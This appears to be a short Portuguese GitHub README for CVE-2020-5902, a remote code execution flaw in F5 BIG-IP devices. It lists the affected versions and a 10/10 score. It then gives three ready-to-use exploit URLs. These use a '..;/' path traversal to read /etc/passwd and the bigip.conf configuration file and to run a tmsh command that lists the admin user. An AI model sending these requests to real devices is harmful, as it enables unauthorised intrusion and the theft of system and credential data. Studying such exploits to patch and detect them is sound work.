jsec1337/rce-cve-2020-5902BIG-IP F5 Execução Remota de Código
Execução Remota de Código no BIG-IP F5
Estes ataques estão visando o BIG-IP, um dispositivo de rede multifuncional fabricado pela F5 Networks. Os dispositivos BIG-IP podem ser configurados para funcionar como sistemas de modelagem de tráfego, balanceadores de carga, firewalls, gateways de acesso, limitadores de taxa ou middleware SSL.
Na quarta-feira, a F5 Networks publicou patches e divulgou um aviso de segurança sobre uma vulnerabilidade de "execução remota de código" em dispositivos BIG-IP.
A F5 afirmou que a vulnerabilidade, rastreada como CVE-2020-5902, poderia permitir que atacantes assumissem o controle total de sistemas não corrigidos acessíveis na internet.
Version BIG-IP Vulnerable : 15.0.0-15.1.0.3, 14.*.*, 13.*.*, 12.*.*, 11.*.*
Vulnerability : Remote Code Execution (RCE)
Score CVE : 10/10
https://<BIG-IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://BIG-IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
https://<BIG-IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
